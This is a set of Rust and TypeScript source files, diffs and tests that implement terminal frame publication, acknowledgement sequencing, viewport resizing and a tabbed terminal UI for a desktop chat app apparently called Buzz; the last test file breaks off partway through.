//! renderer confirms that it knows the applied [`Viewport`].
use buzz_terminal::{damage::Frame, Viewport};
use std::fmt;
use uuid::Uuid;
/// A renderer attachment. Messages from an attachment that has been replaced
/// cannot release the new attachment's credit.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub(crate) struct SubscriptionId(Uuid);
impl SubscriptionId {
pub(crate) fn new() -> Self {
Self(Uuid::new_v4())
}
pub(crate) fn parse(value: &str) -> Result<Self, String> {
Uuid::parse_str(value)
.map(Self)
.map_err(|_| "invalid terminal subscription id".to_string())
}
}
impl fmt::Display for SubscriptionId {
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
self.0.fmt(formatter)
}
}
/// A frame carrying the identity and sequence that its ACK must repeat.
#[derive(Debug, Clone, PartialEq, Eq)]
pub(crate) struct Publication {
pub(crate) subscription_id: SubscriptionId,
pub(crate) sequence: u64,
pub(crate) frame: Frame,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum OfferError {
/// Replacing pending incremental damage would lose changes that existed in
/// the older pending frame. Only a complete snapshot may be replaceable.
PendingFrameMustBeSnapshot,
}
struct Subscription {
id: SubscriptionId,
next_sequence: u64,
in_flight: Option<u64>,
pending: Option<Frame>,
viewport_ready: bool,
}
/// Publication state for a terminal session.
///
/// PTY ownership is deliberately elsewhere. Faulting or detaching this state
/// stops renderer publication only; it must never stop the PTY reader.
pub(crate) struct FramePublisher {
applied: Viewport,
subscription: Option<Subscription>,
}
impl FramePublisher {
pub(crate) fn new(applied: Viewport) -> Self {
Self {
applied,
subscription: None,
}
}
pub(crate) fn applied_viewport(&self) -> Viewport {
self.applied
}
/// Attach with a complete snapshot of the current viewport. Attachment is
/// a fresh bootstrap: no credit or readiness from the old subscription is
/// inherited.
pub(crate) fn attach(
&mut self,
id: SubscriptionId,
snapshot: Frame,
) -> Result<Publication, OfferError> {
self.require_current_snapshot(&snapshot)?;
let mut subscription = Subscription {
id,
next_sequence: 1,
in_flight: None,
pending: None,
viewport_ready: true,
};
let publication = Self::publish(&mut subscription, snapshot);
self.subscription = Some(subscription);
Ok(publication)
}
/// Whether the next capture must be complete so it can safely replace the
/// single pending value. Callers use this to select the engine's snapshot
/// path before taking the terminal lock.
pub(crate) fn requires_snapshot(&self) -> bool {
self.subscription.as_ref().is_some_and(|subscription| {
subscription.in_flight.is_some() || !subscription.viewport_ready
})
}
/// Offer the newest capture. Frames for an overtaken viewport are inert.
/// While credit/readiness is held, the newest complete snapshot replaces
/// the prior one and pending storage remains exactly one frame.
pub(crate) fn offer(&mut self, frame: Frame) -> Result<Option<Publication>, OfferError> {
if frame.viewport != self.applied {
return Ok(None);
}
let Some(subscription) = &mut self.subscription else {
return Ok(None);
};
if subscription.in_flight.is_some() || !subscription.viewport_ready {
if !frame.full {
return Err(OfferError::PendingFrameMustBeSnapshot);
}
subscription.pending = Some(frame);
return Ok(None);
}
Ok(Some(Self::publish(subscription, frame)))
}
/// Apply the viewport returned by the engine resize call. A real change
/// invalidates pending state and closes the readiness gate. Same-size
/// resizes are inert because the engine returns the unchanged viewport.
pub(crate) fn resize_applied(&mut self, viewport: Viewport) {
if viewport == self.applied {
return;
}
self.applied = viewport;
if let Some(subscription) = &mut self.subscription {
subscription.viewport_ready = false;
subscription.pending = None;
}
}
/// Release ordinary frame credit only for the exact live subscription and
/// exact frame in flight.
pub(crate) fn acknowledge(&mut self, id: SubscriptionId, sequence: u64) -> Option<Publication> {
let subscription = self.subscription.as_mut()?;
if subscription.id != id || subscription.in_flight != Some(sequence) {
return None;
}
subscription.in_flight = None;
Self::flush(subscription)
}
/// Renderer confirmation that the resize invoke result has been installed.
/// Equality against the one atomic viewport value is the entire policy:
/// old subscription IDs and superseded viewport values are inert.
pub(crate) fn viewport_ready(
&mut self,
id: SubscriptionId,
viewport: Viewport,
) -> Option<Publication> {
let subscription = self.subscription.as_mut()?;
if subscription.id != id || viewport != self.applied {
return None;
}
subscription.viewport_ready = true;
Self::flush(subscription)
}
/// Drop publication state after channel close, invoke rejection, renderer
/// teardown, or explicit detach. The caller owns safe Buzz focus recovery.
pub(crate) fn fault(&mut self, id: SubscriptionId) -> bool {
if self
.subscription
.as_ref()
.is_some_and(|subscription| subscription.id == id)
{
self.subscription = None;
true
} else {
false
}
}
/// Permanently detach publication as the session begins closing.
pub(crate) fn close(&mut self) {
self.subscription = None;
}
fn require_current_snapshot(&self, frame: &Frame) -> Result<(), OfferError> {
if frame.viewport == self.applied && frame.full {
Ok(())
} else {
Err(OfferError::PendingFrameMustBeSnapshot)
}
}
fn flush(subscription: &mut Subscription) -> Option<Publication> {
if subscription.in_flight.is_some() || !subscription.viewport_ready {
return None;
}
let frame = subscription.pending.take()?;
Some(Self::publish(subscription, frame))
}
fn publish(subscription: &mut Subscription, frame: Frame) -> Publication {
debug_assert!(subscription.in_flight.is_none());
let sequence = subscription.next_sequence;
subscription.next_sequence = subscription
.next_sequence
.checked_add(1)
.expect("terminal publication sequence exhausted");
subscription.in_flight = Some(sequence);
Publication {
subscription_id: subscription.id,
sequence,
frame,
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use buzz_terminal::damage::{CursorFrame, RowFrame};
fn viewport(generation: u64, columns: usize, screen_lines: usize) -> Viewport {
Viewport {
generation,
columns,
screen_lines,
}
}
fn frame(viewport: Viewport, marker: usize, full: bool) -> Frame {
Frame {
rows: vec![RowFrame {
line: marker,
spans: Vec::new(),
}],
cursor: CursorFrame {
line: 0,
column: 0,
visible: true,
},
cursor_changed: true,
full,
viewport,
}
}
#[test]
fn attach_bootstraps_then_ack_releases_only_latest_snapshot() {
let v0 = viewport(0, 80, 24);
let mut publisher = FramePublisher::new(v0);
let id = SubscriptionId::new();
let bootstrap = publisher.attach(id, frame(v0, 0, true)).unwrap();
assert_eq!(bootstrap.sequence, 1);
assert!(publisher.requires_snapshot());
assert_eq!(publisher.offer(frame(v0, 1, true)).unwrap(), None);
assert_eq!(publisher.offer(frame(v0, 2, true)).unwrap(), None);
let successor = publisher.acknowledge(id, 1).unwrap();
assert_eq!(successor.sequence, 2);
assert_eq!(successor.frame.rows[0].line, 2);
}
#[test]
fn pending_incremental_frame_is_rejected_instead_of_losing_damage() {
let v0 = viewport(0, 80, 24);
let mut publisher = FramePublisher::new(v0);
let id = SubscriptionId::new();
publisher.attach(id, frame(v0, 0, true)).unwrap();
assert_eq!(
publisher.offer(frame(v0, 1, false)),
Err(OfferError::PendingFrameMustBeSnapshot)
);
}
#[test]
fn late_old_frame_is_acked_but_never_crosses_viewports() {
let v0 = viewport(0, 80, 24);
let v1 = viewport(1, 100, 30);
let mut publisher = FramePublisher::new(v0);
let id = SubscriptionId::new();
publisher.attach(id, frame(v0, 0, true)).unwrap();
publisher.resize_applied(v1);
assert_eq!(publisher.offer(frame(v0, 7, true)).unwrap(), None);
assert_eq!(publisher.offer(frame(v1, 8, true)).unwrap(), None);
assert_eq!(publisher.acknowledge(id, 1), None);
let current = publisher.viewport_ready(id, v1).unwrap();
assert_eq!(current.frame.viewport, v1);
assert_eq!(current.frame.rows[0].line, 8);
}
#[test]
fn early_new_frame_is_held_despite_real_capture_pressure() {
let v0 = viewport(0, 80, 24);
let v1 = viewport(1, 120, 40);
let mut publisher = FramePublisher::new(v0);
let id = SubscriptionId::new();
publisher.attach(id, frame(v0, 0, true)).unwrap();
publisher.acknowledge(id, 1);
publisher.resize_applied(v1);
// A real non-empty capture occurred. Zero publication before readiness
// therefore cannot pass vacuously because no output happened.
let captured = frame(v1, 9, true);
assert!(!captured.rows.is_empty());
assert_eq!(publisher.offer(captured).unwrap(), None);
let publication = publisher.viewport_ready(id, v1).unwrap();
assert_eq!(publication.frame.rows[0].line, 9);
assert_eq!(publication.frame.viewport, v1);
}
#[test]
fn ack_and_readiness_may_arrive_in_either_order() {
let v0 = viewport(0, 80, 24);
let v1 = viewport(1, 100, 30);
let mut publisher = FramePublisher::new(v0);
let id = SubscriptionId::new();
publisher.attach(id, frame(v0, 0, true)).unwrap();
publisher.resize_applied(v1);
publisher.offer(frame(v1, 1, true)).unwrap();
assert_eq!(publisher.viewport_ready(id, v1), None);
assert!(publisher.acknowledge(id, 1).is_some());
}
#[test]
fn superseded_readiness_and_same_size_resize_are_inert() {
let v0 = viewport(0, 80, 24);
let v1 = viewport(1, 100, 30);
let v2 = viewport(2, 120, 40);
let mut publisher = FramePublisher::new(v0);
let id = SubscriptionId::new();
publisher.attach(id, frame(v0, 0, true)).unwrap();
publisher.resize_applied(v1);
publisher.resize_applied(v2);
publisher.resize_applied(v2);
assert_eq!(publisher.applied_viewport(), v2);
publisher.offer(frame(v2, 2, true)).unwrap();
publisher.acknowledge(id, 1);
assert_eq!(publisher.viewport_ready(id, v1), None);
assert!(publisher.viewport_ready(id, v2).is_some());
}
#[test]
fn old_subscription_messages_cannot_release_reattached_subscription() {
let v0 = viewport(0, 80, 24);
let mut publisher = FramePublisher::new(v0);
let old = SubscriptionId::new();
publisher.attach(old, frame(v0, 0, true)).unwrap();
assert!(publisher.fault(old));
let new = SubscriptionId::new();
publisher.attach(new, frame(v0, 1, true)).unwrap();
publisher.offer(frame(v0, 2, true)).unwrap();
assert_eq!(publisher.acknowledge(old, 1), None);
assert_eq!(publisher.viewport_ready(old, v0), None);
let successor = publisher.acknowledge(new, 1).unwrap();
assert_eq!(successor.frame.rows[0].line, 2);
}
#[test]
fn stale_fault_cannot_detach_current_subscription() {
let v0 = viewport(0, 80, 24);
let mut publisher = FramePublisher::new(v0);
let old = SubscriptionId::new();
let new = SubscriptionId::new();
publisher.attach(old, frame(v0, 0, true)).unwrap();
publisher.attach(new, frame(v0, 1, true)).unwrap();
assert!(!publisher.fault(old));
assert!(publisher.fault(new));
}
}

View File

@@ -17,6 +17,12 @@ type AppHuddleShellProps = {
onShowHuddleInMainApp: (ephemeralChannelId: string) => void;
onViewHuddleChannel: (ephemeralChannelId: string) => void;
onVisibilityChange: (visible: boolean) => void;
/**
* Terminal substrate layer. Rendered behind the app surface (which carries
* z-10) so the ⌘J handoff can reveal it by fading the surface above. Not
* mounted in the dedicated Huddle room window.
*/
terminal?: React.ReactNode;
};
export function AppHuddleShell({
@@ -31,6 +37,7 @@ export function AppHuddleShell({
onShowHuddleInMainApp,
onViewHuddleChannel,
onVisibilityChange,
terminal,
}: AppHuddleShellProps) {
return (
<HuddleProvider
@@ -48,6 +55,7 @@ export function AppHuddleShell({
data-huddle-open={isDrawerOpen}
data-huddle-window={isRoom}
>
{isRoom ? null : terminal}
<div
className={cn(
"buzz-huddle-app-surface z-10 flex min-h-0 flex-row overflow-hidden bg-background",

View File

@@ -2,8 +2,9 @@ import * as React from "react";
import { useQueryClient } from "@tanstack/react-query";
import { Outlet, useLocation } from "@tanstack/react-router";
import { deriveShellRoute, markAllReadSources } from "@/app/AppShell.helpers";
import { useTerminalContext } from "@/app/useTerminalContext";
import { AppShellProvider } from "@/app/AppShellContext";
import { AppShellOverlays } from "@/app/AppShellOverlays";
import { AppShellOverlays, TerminalBootstrap } from "@/app/AppShellOverlays";
import { AppShellChannelSurface } from "@/app/AppShellChannelSurface";
import { AppHuddleShell } from "@/app/AppHuddleShell";
import { AppTopChrome } from "@/app/AppTopChrome";
@@ -307,13 +308,13 @@ export function AppShell() {
selectedView,
sidebarChannels,
]);
const activeChannel = React.useMemo(
() =>
selectedChannelId
? (channels.find((channel) => channel.id === selectedChannelId) ?? null)
: null,
[channels, selectedChannelId],
);
const { activeChannel, terminalContext } = useTerminalContext({
channelId: selectedChannelId,
channels,
locationSearch: location.search,
pubkey: identityQuery.data?.pubkey,
relayUrl: communitiesHook.activeCommunity?.relayUrl,
});
const managedChannel = React.useMemo(() => {
const targetChannelId = managedChannelId ?? selectedChannelId;
return targetChannelId
@@ -333,14 +334,12 @@ export function AppShell() {
openSearchHit,
pubkey: identityQuery.data?.pubkey,
});
const {
followedRootIds,
isFollowing: isFollowingThread,
followThread,
unfollowThread,
} = useThreadFollows(identityQuery.data?.pubkey);
const {
markAllChannelsRead: markAllChannelReadMarkers,
markChannelRead,
@@ -776,6 +775,7 @@ export function AppShell() {
onShowHuddleInMainApp={showHuddleInMainApp}
onViewHuddleChannel={viewHuddleChannel}
onVisibilityChange={handleHuddleVisibilityChange}
terminal={<TerminalBootstrap {...terminalContext} />}
>
{hasCommunityRail && !isHuddleRoom ? (
<CommunityRail

View File

@@ -1,3 +1,4 @@
export { TerminalBootstrap } from "@/features/terminal/TerminalBootstrap";
import * as React from "react";
import type { Channel } from "@/shared/api/types";

View File

@@ -0,0 +1,56 @@
import * as React from "react";
import type { Channel } from "@/shared/api/types";
import { safeNpub } from "@/shared/lib/nostrUtils";
type TerminalContext = {
channelId: string | null;
channelName: string | null;
threadId: string | null;
npub: string | null;
relayUrl: string | null;
};
type TerminalContextResult = {
activeChannel: Channel | null;
terminalContext: TerminalContext;
};
export function useTerminalContext({
channelId,
channels,
locationSearch,
pubkey,
relayUrl,
}: {
channelId: string | null;
channels: Channel[];
locationSearch: unknown;
pubkey?: string;
relayUrl?: string;
}): TerminalContextResult {
return React.useMemo(() => {
const search = locationSearch as {
thread?: unknown;
threadRootId?: unknown;
};
const threadId = search.threadRootId ?? search.thread;
const activeChannel = channelId
? (channels.find((candidate) => candidate.id === channelId) ?? null)
: null;
return {
activeChannel,
terminalContext: {
channelId,
channelName: activeChannel?.name ?? null,
threadId:
channelId && typeof threadId === "string" && threadId.length > 0
? threadId
: null,
npub: pubkey ? safeNpub(pubkey) : null,
relayUrl: relayUrl ?? null,
},
};
}, [channelId, channels, locationSearch, pubkey, relayUrl]);
}

View File

@@ -0,0 +1,425 @@
import assert from "node:assert/strict";
import { after, afterEach, before, test } from "node:test";
import { JSDOM } from "jsdom";
// `pretendToBeVisual` is what gives jsdom requestAnimationFrame. The banner's
// animation loop needs it; without it the loop silently never runs and every
// paint assertion below reads as a rendering failure.
const dom = new JSDOM("<!doctype html><html><body></body></html>", {
pretendToBeVisual: true,
url: "http://localhost",
});
const callbacks = new Map();
const calls = [];
let nextCallback = 1;
let channel;
let resizeCallback;
let canvasWidth = 840;
let attachResolver = null;
let deferResizes = false;
const pendingResizes = [];
before(async () => {
Object.assign(globalThis, {
document: dom.window.document,
HTMLElement: dom.window.HTMLElement,
HTMLCanvasElement: dom.window.HTMLCanvasElement,
KeyboardEvent: dom.window.KeyboardEvent,
IS_REACT_ACT_ENVIRONMENT: true,
isTauri: true,
window: dom.window,
});
dom.window.localStorage.setItem("buzz-follow-system", "false");
dom.window.isTauri = true;
dom.window.matchMedia = () => ({
matches: false,
addEventListener() {},
removeEventListener() {},
});
dom.window.ResizeObserver = class {
constructor(callback) {
resizeCallback = callback;
}
observe() {}
disconnect() {}
};
dom.window.HTMLElement.prototype.animate = () => ({
cancel() {},
currentTime: 0,
finished: new Promise(() => {}),
play() {},
playbackRate: 1,
reverse() {},
});
dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
bottom: 408,
height: 408,
left: 0,
right: canvasWidth,
top: 0,
width: canvasWidth,
x: 0,
y: 0,
toJSON() {},
});
dom.window.HTMLCanvasElement.prototype.getContext = () => ({
clearRect() {},
fillRect() {},
fillStyle: "",
fillText() {},
font: "",
restore() {},
save() {},
setTransform() {},
textBaseline: "",
});
dom.window.__TAURI_INTERNALS__ = {
invoke(command, args) {
calls.push({ command, args });
if (command === "terminal_attach") {
channel = args.onFrame;
const response = {
sessionId: "session-1",
subscriptionId: "subscription-1",
viewport: { columns: 100, generation: 0, screenLines: 24 },
};
return attachResolver
? new Promise((resolve) => {
attachResolver = () => resolve(response);
})
: Promise.resolve(response);
}
if (command === "terminal_resize") {
const value = {
columns: args.columns,
generation: args.columns,
screenLines: args.rows,
};
if (!deferResizes) return Promise.resolve(value);
return new Promise((resolve) => {
pendingResizes.push(() => resolve(value));
});
}
return Promise.resolve();
},
transformCallback(callback) {
const id = nextCallback++;
callbacks.set(id, callback);
return id;
},
unregisterCallback(id) {
callbacks.delete(id);
},
};
});
after(() => dom.window.close());
afterEach(() => {
calls.length = 0;
canvasWidth = 840;
attachResolver = null;
deferResizes = false;
pendingResizes.length = 0;
});
function emit(message, index = 0) {
const id = Number(channel.toJSON().slice("__CHANNEL__:".length));
callbacks.get(id)({ index, message });
}
test("mounted bootstrap passes GUI context and ACKs only after consuming a frame", async () => {
const { StrictMode, createElement } = await import("react");
const { act, render, waitFor } = await import("@testing-library/react");
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
const view = render(
createElement(
StrictMode,
null,
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalBootstrap, {
channelId: "channel-1",
channelName: "general",
npub: "npub1owner",
relayUrl: "wss://relay.example",
threadId: "thread-1",
}),
),
),
);
await waitFor(() =>
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
);
const attach = calls.find(({ command }) => command === "terminal_attach");
assert.deepEqual(attach.args.request, {
channelId: "channel-1",
channelName: "general",
columns: 100,
npub: "npub1owner",
pixelHeight: 408,
pixelWidth: 840,
relayUrl: "wss://relay.example",
rows: 24,
threadId: "thread-1",
});
const frameMessage = {
type: "frame",
payload: {
bracketedPaste: true,
cursor: { column: 0, line: 0, visible: true },
focusReporting: true,
full: true,
rows: [],
sequence: 7,
subscriptionId: "subscription-1",
viewport: { columns: 100, generation: 0, screenLines: 24 },
},
};
await act(async () => {
emit(frameMessage);
});
await waitFor(() =>
assert.ok(calls.some(({ command }) => command === "terminal_ack")),
);
assert.deepEqual(
calls.find(({ command }) => command === "terminal_ack").args,
{
sequence: 7,
sessionId: "session-1",
subscriptionId: "subscription-1",
},
);
// IPC redelivery produces a newly deserialized object, so replay a distinct
// object to exercise sequence-based deduplication rather than object identity.
await act(async () => {
emit(structuredClone(frameMessage), 1);
});
assert.equal(
calls.filter(({ command }) => command === "terminal_ack").length,
1,
);
view.unmount();
});
test("resize during in-flight catch-up keeps the newest viewport ready", async () => {
const { createElement } = await import("react");
const { act, render, waitFor } = await import("@testing-library/react");
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
attachResolver = () => {};
deferResizes = true;
const view = render(
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalBootstrap, {
channelId: "channel-1",
channelName: "general",
npub: "npub1owner",
relayUrl: "wss://relay.example",
threadId: null,
}),
),
);
await waitFor(() => assert.equal(typeof attachResolver, "function"));
canvasWidth = 1_008;
act(() => resizeCallback());
await act(async () => attachResolver());
await waitFor(() => assert.equal(pendingResizes.length, 1));
canvasWidth = 1_680;
await act(async () => {
resizeCallback();
});
// Resolve newest-first so an unchained catch-up resize would publish stale
// readiness after the newer viewport.
for (let i = 0; i < 10 && pendingResizes.length > 0; i += 1) {
await act(async () => {
pendingResizes.pop()();
await Promise.resolve();
});
}
await act(async () => {
await Promise.resolve();
});
const readyCalls = calls.filter(
({ command }) => command === "terminal_viewport_ready",
);
assert.ok(readyCalls.length > 0, "vacuity guard: no readiness published");
assert.equal(readyCalls.at(-1).args.viewport.columns, 200);
view.unmount();
});
test("opening a tab keeps terminal ownership while its attachment is pending", async () => {
const { createElement } = await import("react");
const { act, fireEvent, render, waitFor } = await import(
"@testing-library/react"
);
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
const view = render(
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalBootstrap, {
channelId: "channel-1",
channelName: "general",
npub: "npub1owner",
relayUrl: "wss://relay.example",
threadId: null,
}),
),
);
await waitFor(() =>
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
);
await act(async () => {
await Promise.resolve();
});
const substrate = view.container.querySelector(".buzz-terminal-substrate");
const chord = { bubbles: true, code: "KeyJ", metaKey: true };
act(() => {
window.dispatchEvent(new KeyboardEvent("keydown", chord));
window.dispatchEvent(new KeyboardEvent("keyup", chord));
});
await waitFor(() =>
assert.equal(substrate.dataset.terminalOwner, "terminal"),
);
attachResolver = () => {};
fireEvent.click(view.getByLabelText("New Buzz Term tab"));
await waitFor(() => assert.equal(typeof attachResolver, "function"));
assert.equal(
substrate.dataset.terminalOwner,
"terminal",
"an attaching session must not force the substrate back to Buzz",
);
assert.equal(view.getAllByRole("tab").length, 2);
await act(async () => attachResolver());
view.unmount();
});
test("a successful close removes the tab even if the exit event is lost", async () => {
const { createElement } = await import("react");
const { fireEvent, render, waitFor } = await import("@testing-library/react");
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
const view = render(
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalBootstrap, {
channelId: "channel-1",
channelName: "general",
npub: "npub1owner",
relayUrl: "wss://relay.example",
threadId: null,
}),
),
);
await waitFor(() =>
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
);
await waitFor(() => assert.ok(view.queryByRole("tab", { name: /SHELL/ })));
fireEvent.click(view.getByLabelText("Close SHELL"));
await waitFor(() =>
assert.ok(calls.some(({ command }) => command === "terminal_close")),
);
await waitFor(() => assert.equal(view.queryByRole("tab"), null));
view.unmount();
});
// The wheel-to-IPC path end to end. `TerminalSubstrate` already proves it
// accumulates pixels into whole cells and `buzz-terminal` already proves which
// way the engine goes; the seam between them is this file's business, and the
// thing that can silently rot here is the *sign*. A negation added in the
// bridge would leave every unit test green and scroll the terminal the wrong
// way, so this asserts the delta reaches `terminal_scroll` unchanged: positive
// `deltaY` -- the gesture that scrolls a page toward the bottom of the
// document -- must arrive positive, and the backend owns the flip.
test("wheel deltas reach terminal_scroll with the DOM sign intact", async () => {
const { createElement } = await import("react");
const { act, fireEvent, render, waitFor } = await import(
"@testing-library/react"
);
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
const view = render(
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalBootstrap, {
channelId: "channel-1",
channelName: "general",
npub: "npub1owner",
relayUrl: "wss://relay.example",
threadId: null,
}),
),
);
await waitFor(() =>
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
);
await act(async () => {
await Promise.resolve();
});
const substrate = view.container.querySelector(".buzz-terminal-substrate");
// Two cells' worth of pixels (cell height is 17), backwards.
await act(async () => {
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: -34 });
});
const scrolls = () =>
calls.filter(({ command }) => command === "terminal_scroll");
await waitFor(() => assert.equal(scrolls().length, 1));
assert.equal(
scrolls()[0].args.lines,
-2,
"a backwards wheel must arrive negative; the backend owns the negation",
);
assert.equal(scrolls()[0].args.sessionId, "session-1");
await act(async () => {
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 34 });
});
await waitFor(() => assert.equal(scrolls().length, 2));
assert.equal(scrolls()[1].args.lines, 2, "and forwards must arrive positive");
view.unmount();
});

View File

@@ -0,0 +1,274 @@
import * as React from "react";
import { isTauri } from "@tauri-apps/api/core";
import {
type TerminalDelivery,
TerminalConnection,
type TerminalFrameMessage,
type TerminalMessage,
} from "./terminalClient";
import {
TerminalSubstrate,
type TerminalViewportSize,
} from "./TerminalSubstrate";
type TerminalContext = {
channelId: string;
channelName: string;
threadId: string | null;
npub: string;
relayUrl: string;
};
type Session = {
key: string;
connection: TerminalConnection | null;
delivery: TerminalDelivery | null;
frame: TerminalFrameMessage | undefined;
title: string;
closing: boolean;
};
const INITIAL_SIZE: TerminalViewportSize = {
columns: 80,
rows: 24,
pixelWidth: 672,
pixelHeight: 408,
};
function report(error: unknown) {
console.error("terminal session failed", error);
}
export function TerminalBootstrap({
channelId,
channelName,
threadId,
npub,
relayUrl,
}: {
channelId: string | null;
channelName: string | null;
threadId: string | null;
npub: string | null;
relayUrl: string | null;
}) {
const context =
channelId && npub && relayUrl
? {
channelId,
channelName: channelName ?? channelId,
threadId,
npub,
relayUrl,
}
: null;
const contextRef = React.useRef<TerminalContext | null>(context);
contextRef.current = context;
const mountedRef = React.useRef(true);
const sizeRef = React.useRef(INITIAL_SIZE);
const resizeChainRef = React.useRef(Promise.resolve());
const [sessions, setSessions] = React.useState<Session[]>([]);
const [activeKey, setActiveKey] = React.useState<string | null>(null);
const [available, setAvailable] = React.useState(() => isTauri());
const acknowledgedSequenceRef = React.useRef(new Map<string, number>());
const sessionsRef = React.useRef(sessions);
sessionsRef.current = sessions;
const fail = React.useCallback((error: unknown) => {
report(error);
setAvailable(false);
}, []);
const removeSession = React.useCallback((key: string) => {
setSessions((current) => current.filter((session) => session.key !== key));
setActiveKey((current) => {
if (current !== key) return current;
const remaining = sessionsRef.current.filter(
(session) => session.key !== key,
);
return remaining.at(-1)?.key ?? null;
});
}, []);
const createSession = React.useCallback(() => {
const spawnContext = contextRef.current;
if (!available || !spawnContext) return;
const key = crypto.randomUUID();
const initial: Session = {
key,
connection: null,
delivery: null,
frame: undefined,
title: "SHELL",
closing: false,
};
setSessions((current) => [...current, initial]);
setActiveKey(key);
const update = (apply: (session: Session) => Session) => {
if (!mountedRef.current) return;
setSessions((current) =>
current.map((session) =>
session.key === key ? apply(session) : session,
),
);
};
const onMessage = (
message: Exclude<TerminalMessage, { type: "frame" }>,
) => {
if (message.type === "exit") {
removeSession(key);
} else if (message.type === "title") {
update((session) => ({
...session,
title: message.payload || "SHELL",
}));
} else if (message.type === "resetTitle") {
update((session) => ({ ...session, title: "SHELL" }));
}
};
const onFrame = (delivery: TerminalDelivery) => {
update((session) => ({ ...session, delivery, frame: delivery.frame }));
};
const size = sizeRef.current;
void TerminalConnection.attach(
{
...spawnContext,
threadId: spawnContext.threadId ?? undefined,
...size,
},
onMessage,
onFrame,
)
.then((connection) => {
if (!mountedRef.current) return connection.detach();
update((session) => ({ ...session, connection }));
if (sizeRef.current !== size) {
const currentSize = sizeRef.current;
resizeChainRef.current = resizeChainRef.current
.then(async () => {
const viewport = await connection.resize(
currentSize.columns,
currentSize.rows,
currentSize.pixelWidth,
currentSize.pixelHeight,
);
await connection.viewportReady(viewport);
})
.catch(fail);
}
})
.catch((error) => {
removeSession(key);
fail(error);
});
}, [available, fail, removeSession]);
React.useEffect(() => {
if (available && context && sessions.length === 0) createSession();
}, [available, context, createSession, sessions.length]);
React.useEffect(() => {
mountedRef.current = true;
return () => {
mountedRef.current = false;
for (const session of sessionsRef.current) {
void session.connection?.detach().catch(report);
}
};
}, []);
const active = sessions.find((session) => session.key === activeKey) ?? null;
const send = (operation: Promise<void> | undefined) => operation?.catch(fail);
const handleSize = React.useCallback(
(size: TerminalViewportSize) => {
sizeRef.current = size;
const connection = sessionsRef.current.find(
(session) => session.key === activeKey,
)?.connection;
if (!connection) return;
resizeChainRef.current = resizeChainRef.current
.then(async () => {
const viewport = await connection.resize(
size.columns,
size.rows,
size.pixelWidth,
size.pixelHeight,
);
await connection.viewportReady(viewport);
})
.catch(fail);
},
[activeKey, fail],
);
return (
<TerminalSubstrate
bracketedPaste={active?.frame?.bracketedPaste ?? false}
channelName={channelName}
enabled={available && Boolean(active)}
focusReportingEnabled={active?.frame?.focusReporting ?? false}
frame={active?.frame}
sessionFrames={sessions.flatMap((session) =>
session.frame ? [{ sessionId: session.key, frame: session.frame }] : [],
)}
onCloseSession={(key) => {
setSessions((current) =>
current.map((session) =>
session.key === key ? { ...session, closing: true } : session,
),
);
const connection = sessionsRef.current.find(
(session) => session.key === key,
)?.connection;
if (!connection) {
removeSession(key);
return;
}
void connection
.close()
.then(() => removeSession(key))
.catch(fail);
}}
onFrameConsumed={(frame) => {
const delivery = sessionsRef.current.find(
(session) => session.delivery?.frame === frame,
)?.delivery;
if (!delivery) return;
const { sequence, subscriptionId } = delivery.frame;
const lastAcknowledged =
acknowledgedSequenceRef.current.get(subscriptionId) ?? -1;
if (sequence <= lastAcknowledged) return;
acknowledgedSequenceRef.current.set(subscriptionId, sequence);
delivery.acknowledge().catch((error) => {
if (
acknowledgedSequenceRef.current.get(subscriptionId) === sequence
) {
acknowledgedSequenceRef.current.set(
subscriptionId,
lastAcknowledged,
);
}
fail(error);
});
}}
onInput={(text) => send(active?.connection?.input(text))}
onNewSession={createSession}
onScroll={(lines) => send(active?.connection?.scroll(lines))}
onSelectSession={setActiveKey}
onTerminalFocusChange={(focused) =>
send(active?.connection?.focus(focused))
}
onViewportSize={handleSize}
sessions={sessions.map((session) => ({
active: session.key === activeKey,
closing: session.closing,
id: session.key,
title: session.title,
}))}
/>
);
}

View File

@@ -0,0 +1,976 @@
import assert from "node:assert/strict";
import { after, before, beforeEach, test } from "node:test";
import { JSDOM } from "jsdom";
let act;
let cleanup;
let createElement;
let fireEvent;
let render;
let waitFor;
let ThemeProvider;
let TerminalSubstrate;
let reducedMotion = false;
// `pretendToBeVisual` is what gives jsdom requestAnimationFrame. The banner's
// animation loop needs it; without it the loop silently never runs and every
// paint assertion below reads as a rendering failure.
const dom = new JSDOM("<!doctype html><html><body></body></html>", {
pretendToBeVisual: true,
url: "http://localhost",
});
before(async () => {
Object.assign(globalThis, {
document: dom.window.document,
HTMLElement: dom.window.HTMLElement,
HTMLCanvasElement: dom.window.HTMLCanvasElement,
KeyboardEvent: dom.window.KeyboardEvent,
window: dom.window,
IS_REACT_ACT_ENVIRONMENT: true,
});
// `navigator` is a getter-only global on Node, and the chord layer branches
